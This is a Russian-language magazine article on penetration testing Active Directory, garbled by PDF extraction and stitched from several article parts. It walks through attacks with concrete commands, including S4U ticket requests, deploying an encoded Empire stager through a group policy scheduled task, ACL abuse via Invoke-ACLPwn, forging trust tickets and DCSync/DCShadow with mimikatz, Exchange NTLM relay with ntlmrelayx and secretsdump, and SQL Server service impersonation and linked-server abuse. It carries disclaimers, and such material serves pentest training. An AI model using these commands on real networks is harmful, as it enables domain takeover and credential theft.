Те перь, ког да у нас есть все необ ходимое для ата ки, получим билет:

C:\> s4u.exe /user:RBCDmachine$ /rc4:хеш /impersonateuser:
пользователь /msdsspn:cifs/ресурс /ptt

Мы получим тикет, про верить который мож но так:

# klist

Та ким  обра зом  нам  откры вает ся  дос туп  к  ресур су  на  кон трол лере  домена.
Этим же спо собом мож но выпол нить DCSync через LDAP.

НЕБЕЗОПАСНЫЕ ПРАВА ДОСТУПА К ОБЪЕКТУ ГРУППОВОЙ
ПОЛИТИКИ
Объ екты  груп повой  полити ки  —  это  кон тей неры  Active  Directory,  исполь‐ 
зуемые для хра нения объ еди нен ных в груп пы парамет ров полити ки. Эти объ‐ 
екты  затем  свя зыва ются  с  кон крет ными  сай тами,  домена ми  или  с
какими‐либо орга низа цион ными еди ница ми (Organizational Unit — OU). Объ‐ 
екты груп повой полити ки пред став ляют собой очень слож ные струк туры, сос‐ 
тоящие  из  свя зей,  нас ледова ний,  исклю чений,  филь тров  и  групп.  При  кон‐ 
фигура ции  доменов  в  этом болоте  час то  допус кают  ошиб ки,  которые  нево‐ 
ору жен ным взгля дом и не вид ны. Най ти эти ошиб ки и показать путь ком про‐ 
мета ции объ екта груп повой полити ки поможет инс тру мен тарий  .BloodHound

Пред положим, что в объ ектах груп повой полити ки име ется ском про мети‐ 
рован ный эле мент. Груп повая полити ка име ет огромное количес тво парамет‐ 
ров,  которы ми мож но манипу лиро вать.  Это  дает  нес коль ко  спо собов  ском‐ 
про мети ровать машины и  поль зовате лей,  име ющих отно шение  к  уяз вимому
объ екту.

Нап ример, мож но  выпол нить опре делен ные  сце нарии,  нас тро ить бэк дор
в  Internet  Explorer,  выдать  MSI‐файл  в  раз деле  «Уста нов ка  прог рам мно го
обес печения»,  добавить  свою  учет ную  запись  домена  в  груп пу  локаль ных
адми нис тра торов  или  RDP  либо  при нуди тель но  смон тировать  сетевой
ресурс (который находит ся под нашим кон тро лем, что дает воз можность зав‐ 
ладеть учет ными дан ными под клю чив шихся поль зовате лей).

Для  реали зации  задуман ного  мож но  запус тить  зап ланиро ван ную  задачу,
которая  уда ляет ся  сама  при  каж дом  обновле нии  груп повой  полити ки.  Эта
часть  ата ки  доволь но  прос та  —  нам  нуж но  соз дать  шаб лон    в  виде
schtask, а затем ско пиро вать его в файл 

 объ екта груп повой полити ки, который
мы можем редак тировать. Подож дав час‐два до завер шения цик ла обновле‐ 
ния груп повой полити ки, мы уда лим файл  , что бы замес ти сле ды.

.xml
<GPO_PATH>\Machine\Preferences\

ScheduledTasks\ScheduledTasks.xml

.xml
Мо дуль  PowerView    может  сде лать  это  авто мати‐ 

чес ки.  Что бы  вос поль зовать ся  им,  пот ребу ется  аргу мент 
  который  задаст  коман ду  для  запус ка  (по  умол‐ 

чанию —   а параметр    ука зыва ет аргу‐ 
мен ты для дан ного исполня емо го фай ла. Опи сание задачи, ее авто ра и дату
модифи кации так же мож но изме нить с помощью соот ветс тву ющих парамет‐ 
ров. Файл   соз дает ся в соот ветс твии с вашими спе цифи каци ями
и копиру ется в мес тополо жение, опре деля емое аргу мен тами   или 

  По  умол чанию  фун кция  спра шива ет  раз решения
перед копиро вани ем, но эту опцию мож но отклю чить с исполь зовани ем аргу‐ 
мен та 

New‐GPOImmediateTask

,‐TaskName, ‐Command
),powershell.exe ‐CommandArguments

Schtask.xml
‐GPOname

.‐GPODisplayname

.‐Force
Да вай исполь зуем  , что бы заг рузить Stager Empire

на  машины,  где  при меня ется  объ ект  груп повой  полити ки 
 (отоб ража емое имя  ):

New‐GPOImmediateTask
{3EE4BE4E‐7397‐

4433‐A9F1‐3A5AE2F56EA2} SecurePolicy

New‐GPOImmediateTask ‐TaskName Debugging ‐GPODisplayName Secure
Policy ‐CommandArguments '‐NoP ‐NonI ‐W Hidden ‐Enc JABXAGMAPQBO...' 
‐Force

Empire stager в New‐GPOImmediateTask

По лучен ный резуль тат демонс три рует, нас коль ко опас ны ошиб ки в груп повых
полити ках домена.

НЕБЕЗОПАСНЫЕ ПРАВА ДОСТУПА ACL
ACL  (спис ки  кон тро ля  дос тупа)  —  это  набор  пра вил,  которые  опре деля ют,
какие объ екты име ют раз решения для ино го объ екта в сре де Active Directory.
Такими  объ екта ми  могут  быть  учет ные  записи  поль зовате лей,  груп пы,  учет‐ 
ные записи компь юте ров, сам домен и мно гое дру гое.

ACL  может  быть  нас тро ен  для  отдель ного  объ екта,  такого  как  учет ная
запись поль зовате ля, но так же его мож но нас тро ить и для OU. Основное пре‐ 
иму щес тво нас трой ки ACL в OU сос тоит в том, что при пра виль ной нас трой ке
все  объ екты‐потом ки  будут  нас ледовать  ACL.  ACL OU,  в  котором  находят ся
объ екты, содер жит эле мент управле ния дос тупом (Access Control Entry, ACE).
Он  опре деля ет  иден тифика тор  и  соот ветс тву ющие  раз решения,  при меня‐ 
ющиеся  к OU  или  нис ходящим  объ ектам.  Каж дый  ACE  вклю чает  в  себя  SID
и мас ку дос тупа, при чем ACE могут быть четырех типов: «дос туп раз решен»,
«дос туп откло нен», «раз решен ный объ ект» и «зап рещен ный объ ект». Раз ница
меж ду  типами  «дос туп  раз решен»  и  «раз решен ный  объ ект»  сос тоит  толь ко
в том, что пос ледний тип исполь зует ся исклю читель но в Active Directory.

Рас смот рим  при мер  ата ки,  исполь зующей  неп равиль ную  нас трой ку  ACL.
Пред положим,  мы  уже  соб рали  исходную  информа цию  с  помощью  Blood‐
Hound, поэто му сра зу перей дем к ста дии повыше ния при виле гий.

BloodHound  стро ит  граф,  где  целевой  груп пой  выс тупа ет  груп па  «Адми‐ 
нис тра торы домена».

Граф, пос тро енный BloodHound

Сле ва находит ся поль зователь с отно ситель но низ кими при виле гиями и путь
ата ки толь ко для ACL, который в ито ге кон тро лиру ет груп пу адми нис тра торов
домена. Этот  поль зователь —  член  груп пы безопас ности  ( )  в  цен‐ 
тре.  Эта  груп па  име ет  пол ный  кон троль  ( )  над  поль зовате лем
спра ва.  Так  как  ACL  нас леду ется,  то  поль зователь  сле ва  тоже  име ет  такой
кон троль.

MemberOf
GenericAll

Пер вый этап прод вижения к целевой груп пе

 озна чает  пол ный  кон троль над объ ектом,  вклю чая  воз можность
добав лять дру гих учас тни ков в груп пу, изме нять пароль поль зовате ля, не зная
текуще го, регис три ровать SPN. Экс плу ати рует ся эта воз можность с помощью

 или  .

GenericAll

Set‐DomainUserPassword Add‐DomainGroupMember
Идем  даль ше.  Поль зователь  сле ва  при над лежит  груп пе  в  середи не.  Эта

груп па  име ет  как  пол ный  ( ),  так  и  избы точ ный 
 кон троль над поль зовате лем сле ва.

GenericAll
( )ForceChangePassword

Вто рой этап прод вижения к целевой груп пе

  под разуме вает  воз можность  изме нить  пароль
целево го  поль зовате ля,  не  зная  текуще го.  Экс плу ати рует ся  с  помощью 
ForceChangePassword

.Set‐DomainUserPassword
За вер шающий  этап.  Груп па  сле ва  име ет  при виле гию 

 в отно шении нес коль ких поль зовате лей, которые при‐ 
над лежат к груп пе в цен тре. Эта груп па в цен тре обла дает пол ным кон тро лем
над груп пой спра ва («Адми нис тра торы домена»).

ForceChangePassword

За вер шающий этап прод вижения к целевой груп пе

Важ ное  замеча ние:  кон троль  над  груп пой  «Адми нис тра торы домена» может
озна чать,  что  мы  получи ли  кон троль  над  поль зовате лями  в  этой  груп пе.
В  таком  слу чае мы  соз дадим  сво его  поль зовате ля  и  добавим  его  в  дан ную
груп пу. Пос ле это го мы можем выпол нить DCSync‐ата ку и, что бы скрыть свои
сле ды, уда лить соз данно го поль зовате ля.

Вот  так  мы  исполь зуем  BloodHound  и  ошиб ки  кон фигура ции  ACL,  что бы
получить кон троль над доменом.

Не  могу  не  упо мянуть  об  авто мати зиро ван ном  вари анте  этой  ата ки,
с  исполь зовани ем  .  Инс тру мент  экспор тиру ет
с помощью SharpHound все спис ки ACL в домене, а так же членс тво в груп пе
учет ной записи поль зовате ля, под которой он запус кает ся.

скрип та  Invoke‐ACLPwn

Па рамет ры запус ка Invoke‐ACLPwn

Ког да цепоч ка будет рас счи тана, скрипт нач нет пос ледова тель но выпол нять
каж дый  шаг  в  цепоч ке.  При  желании  вызыва ется  фун кция  mimikatz  DCSync
и  зап рашива ется  хеш  учет ной  записи  поль зовате ля.  По  умол чанию  будет
исполь зовать ся учет ная запись  . Пос ле завер шения экс плу ата ции сце‐ 
нарий уда лит членс тво в груп пах, которые были добав лены во вре мя экс плу‐ 
ата ции, а так же записи ACE в ACL объ екта домена.

krbtgt

Ре зуль тат тес тирова ния ком пани ей Fox‐It пред став лен ниже.

Ре зуль тат работы Invoke‐ACLPwn

Скрипт перечис лил и про шел 26 групп, изме няя членс тво в груп пах безопас‐ 
ности и управле ния. В ито ге был получен хеш учет ной записи krbtgt.

Продолжение статьи →
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ДОМЕННЫЕ ТРАСТЫ
Час то в орга низа ции исполь зует ся нес коль ко доменов с нас тро енны ми меж‐ 
ду  ними  довери тель ными  отно шени ями  —  трас тами.  Это  необ ходимо
для  того,  что бы поль зователь из одно го домена мог получить дос туп  к  сер‐ 
вису в дру гом домене.

До вери тель ные отно шения меж ду домена ми могут быть односто рон ними
и двус торон ними. То есть если домен А доверя ет домену Б, то домен Б может
опе риро вать ресур сами домена А. Так же работа ет понятие тран зитив ности:
если  домен А  доверя ет  домену Б,  а  домен Б  доверя ет  домену В,  то  домен
А тоже доверя ет домену В.

Иерар хичес кая  сис тема  доменов,  име ющая  кор невой  домен,  будет
называть ся  деревом  доменов.  При  этом,  если  раз ные  деревья  находят ся
в  раз ных  фор мах  довери тель ных  отно шений,  совокуп ность  этих  деревь ев
будет называть ся лесом.

При  аутен тифика ции  Kerberos  меж ду  домена ми,  сос тоящи ми  в  довери‐ 
тель ных отно шени ях, кон трол лер домена поль зовате ля шиф рует TGS не клю‐ 
чом служ бы, а общим клю чом. Поль зователь переда ет этот TGS кон трол леру
домена служ бы, а тот вер нет ему TGS, зашиф рован ный клю чом служ бы. Толь‐ 
ко теперь поль зователь может обра тить ся к тому ресур су, к которо му хотел.

Схе ма аутен тифика ции Kerberos меж ду доверен ными домена ми

NTLM‐аутен тифика ция  в  дан ном  слу чае  отли чает ся  тем,  что  кон трол лер
домена служ бы, про верив раз решения для аутен тифика ции, переда ет зап рос
на кон трол лер домена кли ента. Имен но он про водит про вер ку и воз вра щает
резуль тат.

Схе ма аутен тифика ции NTLM меж ду доверен ными домена ми

Схе му  аутен тифика ции  в  доверен ных  доменах  мы  разоб рали,  как  ском про‐ 
мети ровать  DC  в  домене  —  тоже.  Теперь  раз берем ся,  как  ском про мети‐ 
ровать дру гой доверен ный домен.

Па роль  доверия  мож но  отыс кать  в  хра нили ще  учет ных  дан ных  домена.
Для это го нуж но най ти имя со зна ком дол лара на кон це. Боль шинс тво учет ных
записей  с  подоб ными  име нами  —  это  учет ные  записи  компь юте ров,
но некото рые будут трас товыми.

NTLM‐хеш доверен ной учет ной записи

Ключ  доверия  был  извле чен  вмес те  со  все ми  поль зователь ски ми  дан ными
при  ком про мета ции  учет ных  дан ных  Active  Directory.  Каж дое  доверие  вклю‐ 
чает  свя зан ную  учет ную  запись  поль зовате ля,  которая  содер жит  этот  хеш
пароля  NTLM.  Ука зан ные  дан ные  могут  быть  исполь зованы  для  под делки
довери тель ных TGS.

До верен ный  билет  соз дает ся  так  же,  как  «золотой  билет».  Для  это го
исполь зует ся та же коман да mimikatz, но с раз ными парамет рами. Ключ служ‐ 
бы —  это  хеш  пароля  доверен ного NTLM,  а  целью  будет  пол ное  домен ное
имя целево го домена.

# kerberos::golden /domain:текущий_домен /sid:SID_домена /rc4:
NTLM_хеш /user:Administrator /service:krbtgt /target:целевой_домен /
ticket:путь_для_сохранения_билета

Те перь  получим  TGS  для  целевой  служ бы  в  целевом  домене,  исполь зуя
.Kekeo

C:\> asktgs.exe сохраненный_билет cifs/полное_имя_целевой_службы

О  том,  как  при менять  получен ный  тикет,  я  рас ска зывал  выше.  Теперь  рас‐ 
смот рим, как под делать TGS внут ри леса. Пер вым делом извле каем все трас‐ 
товые довери тель ные клю чи:

# Privilage::debug
# Lsadump::trust /patch

И соз даем под дель ный довери тель ный TGT:

# kerberos::golden /domain:текущий_домен /sid:SID_домена /sids:
SID_целевого домена /rc4:NTLM_хеш /user:Пользователь /service:krbtgt 
/target:целевой_домен /ticket:путь_для_сохранения_билета

За тем получа ем TGS:

C:\> asktgs.exe сохраненный_билет cifs/
полное_имя_целевого_контроллера_домена

И внед ряем TGS, что бы получить дос туп с под дель ными пра вами:

C:\> kirbikator lsa путь_к_TGS

Пос ле  успешно го  выпол нения  коман ды  поль зователь  ста нет  адми нис тра‐ 
тором и получит повышен ные пра ва в целевом домене. Так мы можем прод‐ 
вигать ся  от  домена  к  домену,  пос коль ку  каж дый  домен  име ет  свя зан ный
с дру гим доменом пароль.

DCSHADOW
Од на из задач зло умыш ленни ков — получать учет ные дан ные поль зовате лей
и  компь юте ров,  оста ваясь  незаме чен ным для  средств  обна руже ния. С  этой
целью  было  раз работа но  нес коль ко  методов  атак:  внед рение  LSASS,  зло‐ 
упот ребле ние  теневым  копиро вани ем,  ана лиз  тома NTFS,  управле ние  чувс‐ 
тви тель ными атри бута ми и дру гие.

Сре ди  всех  этих  атак  одна  свя зана  с  ата кой  DCShadow.  Ата ка  DCSync
осно вана на  том,  что  чле ны  групп  «Адми нис тра торы домена» или  «Кон трол‐ 
леры домена» могут зап рашивать реп ликацию дан ных у DC. Фак тичес ки (как
опи сано в спе цифи кации MS‐DRSR для реп ликации кон трол лера домена) эти
груп пы  могут  зап рашивать  у  кон трол лера  домена  реп ликацию  объ ектов  AD
(вклю чая  учет ные дан ные  поль зовате ля)  через  .  DCSync‐
ата ка с исполь зовани ем mimikatz выг лядит сле дующим обра зом:

RPC  GetNCChanges

# lsadump::dcsync /user:Administrator

DCSync‐ата ка с исполь зовани ем mimikatz

Од но из основных огра ниче ний ата ки DCSync — зло умыш ленник не смо жет
внед рить новые объ екты в целевой домен. Он может стать вла дель цем адми‐ 
нис тра тив ной учет ной записи, исполь зуя Pass‐The‐Hash, и впос ледс твии вво‐ 
дить новые объ екты. Но для это го тре бует ся боль ше уси лий, боль ше шагов,
что повыша ет веро ятность обна руже ния. Ата ка DCShadow сни мает это огра‐ 
ниче ние. С помощью DCShadow зло умыш ленни ки боль ше не пыта ются реп‐ 
лициро вать  дан ные,  а  регис три руют  новые  кон трол леры  домена  в  целевой
инфраструк туре  для  внед рения  объ ектов  Active  Directory  или  изме нения
сущес тву ющих.

Сер вер мож но наз вать кон трол лером домена, если он пред лага ет четыре
клю чевых ком понен та:

ба зу  дан ных,  которая  дол жна  быть  дос тупна  через  про токо лы  LDAP
и реали зовы вать нес коль ко RPC в соот ветс твии со спе цифи каци ями MS‐
DRSR и MS‐ADTS, то есть поз волять реп ликацию дан ных;

•

сер вис аутен тифика ции, дос тупный через про токо лы Kerberos, NTLM, Netl‐
ogon или WDigest;

•

сис тему  управле ния  кон фигура цией,  исполь зующую  про токо лы  SMB
и LDAP;

•

сер вис DNS, исполь зуемый кли ента ми для поис ка ресур сов и под дер жки
аутен тифика ции.

•

По мимо все го это го, новый DC дол жен быть зарегис три рован сер висом KCC
(средс тво  про вер ки  сог ласован ности  зна ний).  KCC —  это  встро енный  про‐ 
цесс, который выпол няет ся на всех кон трол лерах домена и соз дает тополо‐ 
гию реп ликации для леса Active Directory. KCC соз дает отдель ные тополо гии
реп ликации. Этот сер вис так же динами чес ки кор ректи рует тополо гию, что бы
она  соот ветс тво вала  добав лению  новых  кон трол леров  домена  и  уда лению
сущес тву ющих  кон трол леров  домена.  По  умол чанию  KCC  запус кает  реп‐ 
ликацию каж дые 15 минут.

Обес печить  все  это  мож но  при  выпол нении  сле дующих  усло вий:  ата ка
дол жна быть выпол нена с компь юте ра в домене, у ата кующе го име ется при‐ 
виле гия  System  на  компь юте ре  и  при виле гия  адми нис тра тора  домена
в самом домене.

Пер вым делом с помощью mimikatz повыша ем свои при виле гии до System.

По луче ние при виле гии System с помощью mimikatz

Те перь мы дол жны изме нить зна чение  :userAccountControl

lsadump::dcshadow /object:pc‐10$ /atribute:userAccountControl /value:
532480

Пе реда ем соот ветс тву ющий атри бут:

lsadump :: dcshadow /push

Пос ле выпол нения  коман ды  уви дим,  как  зна чения обновля ются,  а RPC‐сер‐ 
вер оста нав лива ется.

Ус пешный резуль тат ата ки DCShadow

Мож но  счи тать,  что  мы  зарегис три рова ли  новый  кон трол лер  домена,
с которым мож но про изво дить даль нейшие опе рации.

EXCHANGE
Ос новная уяз вимость в инфраструк туре это го прог рам мно го про дук та такова.
Exchange обла дает высоки ми при виле гиями в домене Active Directory. Груп па
Exchange Windows  Permissions  име ет  дос туп WriteDacl  в  Active  Directory,  что
поз воля ет  любому  чле ну  этой  груп пы  изме нять  при виле гии  домена,  сре ди
которых есть при виле гия для реали зации ата ки DCSync.

Что бы выпол нить про изволь ный код на хос тах в сети, мож но исполь зовать
осо бен ности переда чи аутен тифика ции NTLM через SMB. Но дру гие про токо‐ 
лы так же уяз вимы для рет ран сля ции. Наибо лее инте ресен для это го про токол
LDAP,  который  мож но  исполь зовать  для  чте ния  и  изме нения  объ ектов
в катало ге. Дело в том, что при под клю чении сер вера с Windows к компь юте ру
зло умыш ленни ка сущес тву ет воз можность передать авто мати чес кую про вер‐ 
ку под линнос ти поль зовате ля в сис теме дру гим машинам в сети, как показа но
на рисун ке. Такой при ем называ ют relay‐ата кой.

Схе ма relay‐ата ки

Ког да  аутен тифика ция  переда ется  в  LDAP,  объ екты  в  катало ге  могут  быть
изме нены.  В  резуль тате  этим  объ ектам  пре дос тавля ются  при виле гии  зло‐ 
умыш ленни ка,  вклю чая  при виле гии,  необ ходимые  для  опе раций  DCSync.
Таким  обра зом,  мы  дол жны  зас тавить  сер вер  Exchange  про ходить  аутен‐ 
тифика цию  с  помощью  NTLM.  Для  это го  необ ходимо  зас тавить  Exchange
аутен тифици ровать нашу сис тему.

Мож но зас тавить Exchange аутен тифици ровать ся по про изволь ному URL‐
адре су через HTTP с помощью фун кции  . Служ‐ 
ба  push‐уве дом лений  име ет  воз можность  отправ лять  сооб щения  каж дые  X
минут  (где  X  может  быть  ука зан  зло умыш ленни ком),  даже  если  событие
не про изош ло. Это гаран тиру ет, что Exchange под клю чит ся к нам, даже если
в  пап ке  вхо дящих  сооб щений  нет  активнос ти.  Схе ма  ата ки  показа на
на иллюс тра ции ниже.

Exchange PushSubscription

Схе ма DCSync‐ата ки с исполь зовани ем push‐уве дом лений

Инс тру мен ты для выпол нения такой ата ки вхо дят в сос тав  .па кета impacket
Сна чала  для  рет ран сля ции  LDAP  запус тим  ,  ука жем  под кон‐ 

троль ного нам поль зовате ля и кон трол лер домена.
ntlmrelayx

ntlmrelayx.py ‐t ldap://DC.domain.dom ‐‐escalate‐user USER

Те перь исполь зуем  :privexchange

privexchange ‐ah Attacker_host Exchange_host ‐u USER ‐d DOMEN

Тут  есть  одно  важ ное  но:  поль зователь  дол жен  иметь  поч товый  ящик
на  нашем  Exchange‐сер вере.  Через  некото рое  вре мя  (ког да  будет  отправ‐ 
лено push‐уве дом ление) в ntlmrelayx мож но наб людать сле дующий вывод.

Ус пешный relay в ntlmrelayx

Это озна чает, что у нашего поль зовате ля есть при виле гии для DCSync:

secretsdump domain/user@DC ‐just‐dc

Ус пешная реп ликация учет ных дан ных в secretsdump

Та ким  обра зом Exchange  поз воля ет  нам  получить  реп ликацию  учет ных  дан‐ 
ных.

SYSADMIN SQL SERVER
Рас смот рим  пос ледова тель ность  дей ствий,  которую  мож но  при менить
для исполь зования учет ной записи служ бы SQL Server, что бы повысить при‐ 
виле гии от локаль ного адми нис тра тора до сис темно го адми нис тра тора DBA.

SQL  Server —  это  еще  одно  при ложе ние  Windows.  В  слу чае  SQL  Server
каж дый  экзем пляр  сер вера  уста нав лива ется  как  набор  служб  Windows,
которые  работа ют  в  фоновом  режиме.  Каж дая  из  этих  служб  нас тро ена
для  работы  с  учет ной  записью  Windows.  Свя зан ная  учет ная  запись  затем
исполь зует ся для гло баль ного вза имо дей ствия с опе раци онной сис темой.

Ос новная  служ ба  Windows  SQL  Server  —  служ ба  SQL  Server,  которая
реали зова на в виде при ложе ния  .sqlservr.exe

Служ бы  SQL  Server  могут  быть  нас тро ены  со  мно гими  типами  учет ных
записей Windows. Вот их спи сок:

ло каль ный поль зователь;•
LocalSystem;•
NetworkService;•
ло каль ная управля емая учет ная запись служ бы;•
учет ная запись управля емо го домена;•
поль зователь домена;•
ад минис тра тор домена.•

Ком про мета ция служ бы SQL Server может при вес ти  к  ком про мета ции все го
домена.  Но,  незави симо  от  при виле гий  учет ной  записи  служ бы  SQL  Server
в  опе раци онной  сис теме,  в  SQL  Server  она  име ет  при виле гии  sysadmin
по умол чанию.

Для  получе ния  учет ной  записи  служ бы мы будем исполь зовать 
. Для это го нам нуж но иметь учет ную запись локаль ного адми нис тра тора.

PowerUp‐
SQL

Сна чала най дем локаль ный SQL Server. В этом нам поможет коман да 
.  В  выводе  коман ды  нас  инте ресу ет  стро ка,  содер жащая

зна чение  .

Get‐
SQLInstanceLocal

Instance: MSSQLSRV04\BOSCHSQL
Сле дующей коман дой получим учет ную запись SQL Server:

Invoke‐SQLImpersonateService ‐Verbose ‐Instance MSSQLSRV04\BOSCHSQL

Нуж но убе дить ся, что все прош ло успешно:

Get‐SQLServerInfo ‐Verbose ‐Instance MSSQLSRV04\BOSCHSQL

В  пред став ленном  выводе  будет  при сутс тво вать  стро ка 
.

CurrentLogin:  NT 
Service\MSSQL$BOSCHSQL

В  ито ге  мы  получа ем  при виле гию  sysAdmin  DBO.  Так же  есть  решение,
которое  запус тит    в  кон тек сте  каж дой  учет ной  записи  служ бы  SQL,
свя зан ной с экзем пля ром  :

cmd.exe
MSSQLSRV04\BOSCHSQL

Invoke‐SQLImpersonateServiceCmd ‐Instance MSSQLSRV04 \ BOSCHSQL

Тер миналы с учет ными запися ми служ бы SQL

ЗАКЛЮЧЕНИЕ
На пос ледок  хотелось  бы  отме тить,  что  эта  статья  задума на  не  в  качес тве
руководс тва  к  дей ствию.  Она  лишь  показы вает,  нас коль ко  ком петен тны ми
дол жны  быть  сис темные  адми нис тра торы,  обес печива ющие  безопас ность
в сре де Active Directory. Пом ни, что все неп равомер ные дей ствия прес леду‐ 
ются по закону!

Для  тех,  кто  хочет  получить  боль ше  информа ции  по  этой  теме,  я  соз дал
телег рам‐канал  ,  где  ты  смо жешь  задать  свои  воп росы
(или отве тить  на  воп росы дру гих юзе ров). До  встре чи  в  сле дующих  стать ях!
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Пред положим,  ты  успешно  раз добыл  учет ные  записи  поль‐ 
зовате лей  в  сети  с  кон трол лером  домена  Active  Directory
и  даже  смог  повысить  собс твен ные  при виле гии.  Казалось
бы, мож но рас сла бить ся и почивать на лав рах. Как бы не так!
Что, если мы зах ватили не всю сеть, а ее опре делен ный сег‐ 
мент? Нуж но разоб рать ся, как прод вигать ся по сети даль ше,
искать  новые  точ ки  вхо да,  опо ры  для  про веде ния  раз ведки
и даль нейше го повыше ния при виле гий!

Читай так же про пен тесты Active Directory
• Раз ведка  в  Active  Directory.  Получа ем  поль зователь ские  дан ные  в  сетях
Windows без при виле гий

• Ата ки  на Active Directory.  Раз бира ем акту аль ные методы повыше ния  при‐ 
виле гий

• За щита от детек та в Active Directory. Укло няем ся от обна руже ния при ата ке
на домен

ТЕХНИКА LATERAL MOVEMENT ЧЕРЕЗ ССЫЛКИ MICROSOFT SQL
SERVER
Для  начала  —  нем ного  теории.  Microsoft  SQL  Server  поз воля ет  соз давать
ссыл ки на внеш ние источни ки дан ных, нап ример дру гие сер веры SQL, базы
дан ных Oracle, таб лицы Excel. Зачас тую сер вер нас тро ен неп равиль но, из‐за
чего  подоб ные  ссыл ки  (свя зи  или  лин ки),  или  «свя зан ные  сер веры»,  могут
исполь зовать ся  для  обна руже ния  и  обхо да  свя зей  базы  дан ных  в  сети,
получе ния неав торизо ван ного дос тупа к дан ным или заг рузки раз личных обо‐ 
лочек. Как подоб ные ата ки реали зуют ся на прак тике, мы сей час и раз берем.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный информа цией из этой статьи.

Вве дение в ссыл ки
Соз дание  свя зи  на  SQL  Server  доволь но  три виаль но.  Это  мож но  сде лать
с помощью хра нимой про цеду ры   или SQL Server Man‐
agement  Studio  (SSMS).  Обыч но  зло умыш ленни ки  не  стре мят ся  соз давать
лин ки, но пыта ются най ти сущес тву ющие и экс плу ати ровать их.

sp_addlinkedserver

Свя зи мож но прос мотреть в меню «Объ екты сер вера → Сер веры ссы лок»
в  SSMS.  В  качес тве  аль тер нативы  они могут  быть  перечис лены  с  помощью
хра нимой про цеду ры    или  с  помощью  зап роса 

.  Выбирать  непос редс твен но  из  таб лицы
  пред почти тель но,  пос коль ку  так  рас кры вает ся  нем ного  боль ше

информа ции о лин ках.

sp_linkedservers select  * 
from  master..sysservers
sysservers

Для сущес тву ющих ссы лок есть нес коль ко клю чевых нас тро ек, на которые
сле дует обра тить вни мание. Оче вид но, что наз начение ссыл ки, тип источни ка
дан ных  (имя  про вай дера)  и  дос тупность  ссыл ки  (дос туп  к  дан ным)  важ ны
для  исполь зования  свя зи.  Кро ме  того,  исхо дящие  соеди нения  RPC  (rpcout)
дол жны быть вклю чены для ссы лок, что бы, в свою оче редь, вклю чить 

 на уда лен ных свя зан ных сер верах.
xp_cmd‐

shell
Зло умыш ленни ки  при  взло ме  свя зей  базы  дан ных  обра щают  вни мание

на две основные кон фигура ции: источник дан ных (имя про вай дера) и спо соб
нас трой ки лин ков для про вер ки под линнос ти. Сос редото чим ся на источни ках
дан ных SQL Server, которые под клю чают ся к дру гим сер верам Microsoft SQL
Server.

Каж дую  из  этих  свя зей  SQL  Server  мож но  нас тро ить  для  про вер ки  под‐ 
линнос ти нес коль кими спо соба ми. Мож но отклю чить лин ки, не пре дос тавляя
учет ные  дан ные  для  под клю чения.  Так же  мож но  исполь зовать  текущий  кон‐ 
текст  безопас ности  или  уста новить  учет ную  запись  SQL  и  пароль,  которые
будут  задей ство ваны  для  всех  под клю чений,  исполь зующих  ссыл ку.
Как  показы вает  прак тика,  пос ле  обхо да  всех  свя зей  всег да  есть  одна
или нес коль ко нас тро ек с раз решени ями  ; это поз воля ет повысить
при виле гии от началь ного обще дос тупно го дос тупа к дос тупу  , даже
не выходя из уров ня базы дан ных.

sysadmin
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Хо тя  толь ко  сис темные  адми нис тра торы  могут  соз давать  ссыл ки,  любой
поль зователь  базы  дан ных  может  попытать ся  получить  к  ним  дос туп.  Тем
не  менее  есть  две  очень  важ ные  вещи,  которые  нуж но  понять  про  исполь‐ 
зование ссы лок:

ес ли связь вклю чена (  уста нов лен в 1), каж дый поль зователь
на сер вере базы дан ных может исполь зовать ссыл ку незави симо от прав
поль зовате ля ( ,  );

• dataaccess

public sysadmin

ес ли связь нас тро ена на исполь зование учет ной записи SQL, каж дое под‐ 
клю чение будет с пра вами этой учет ной записи. Дру гими сло вами, обще‐ 
дос тупный  поль зователь  на  сер вере  A  может  потен циаль но  выпол нять
SQL‐зап росы на сер вере B как  .

•
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Ссыл ки на SQL Server очень прос ты в исполь зовании. Нап ример, сле дующий
зап рос с исполь зовани ем   перечис ляет вер сию сер вера на уда‐ 
лен ном сер вере.

openquery()

select version from openquery("linked_remote_server", 'select 
@@version as version');

Так же мож но исполь зовать   для выпол нения SQL‐зап росов по нес‐ 
коль ким вло жен ным лин кам; это дела ет воз можным свя зыва ние ссы лок и поз‐ 
воля ет исполь зовать деревья ссы лок.

openquery

select version from openquery("link1",'select version from openquery(
"link2",''select @@version as version'')')

По доб ным  же  обра зом  мож но  вло жить  столь ко  опе рато ров  ,
сколь ко необ ходимо для дос тупа ко всем свя зан ным сер верам. Единс твен ная
проб лема сос тоит в том, что каж дый вло жен ный зап рос дол жен исполь зовать
вдвое  боль ше  оди нар ных  кавычек,  чем  внеш ний  зап рос.  В  резуль тате  син‐ 
таксис  зап росов  ста новит ся  доволь но  гро моз дким,  ког да  тебе  при ходит ся
исполь зовать 32 оди нар ные кавыч ки в каж дой стро ке.

openquery

Схе ма экс плу ата ции изнутри сети
На сле дующем рисун ке показан при мер типич ной сети свя зан ных баз дан ных.
Поль зователь  с  общи ми  пра вами  дос тупа  к  DB1  может  перей ти  по  ссыл ке
базы  дан ных  на  DB2  (раз решения  уров ня  поль зовате ля)  и  от  DB2  до  DB3
(раз решения  уров ня  поль зовате ля).  Теперь  мож но  перей ти  по  ссыл ке
из  DB3  обратно  в  DB1  (раз решения  уров ня  поль зовате ля)  или  по  ссыл ке
на  DB4.  Так  как  эта  ссыл ка  нас тро ена  с  повышен ными  при виле гиями,  сле‐ 
дова ние  цепоч ке  ссы лок  DB1 →  DB2 →  DB3 →  DB4  дает  изна чаль но  неп‐ 
ривиле гиро ван ному  поль зовате лю  пол номочия  поль зовате ля 
на DB4, который рас положен в «изо лиро ван ной» сетевой зоне.
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Схе ма сети свя зан ных баз дан ных

Ссыл ки  на  базы  дан ных  так же могут  зап рашивать ся  с  исполь зовани ем  аль‐ 
тер натив ного син такси са, но он не допус кает зап росы по нес коль ким ссыл‐ 
кам. Кро ме того, фак тичес кая экс плу ата ция тре бует, что бы rpcout был вклю‐ 
чен  для  ссы лок,  и,  пос коль ку  он  отклю чен  по  умол чанию,  это  вряд  ли  будет
час то исполь зовать ся на прак тике.

Хо тя Microsoft заяв ляет, что   нель зя исполь зовать для выпол‐ 
нения  рас ширен ных  хра нимых  про цедур  на  свя зан ном  сер вере,  это  воз‐ 
можно. Хит рость зак люча ется в том, что бы вер нуть некото рые дан ные, завер‐ 
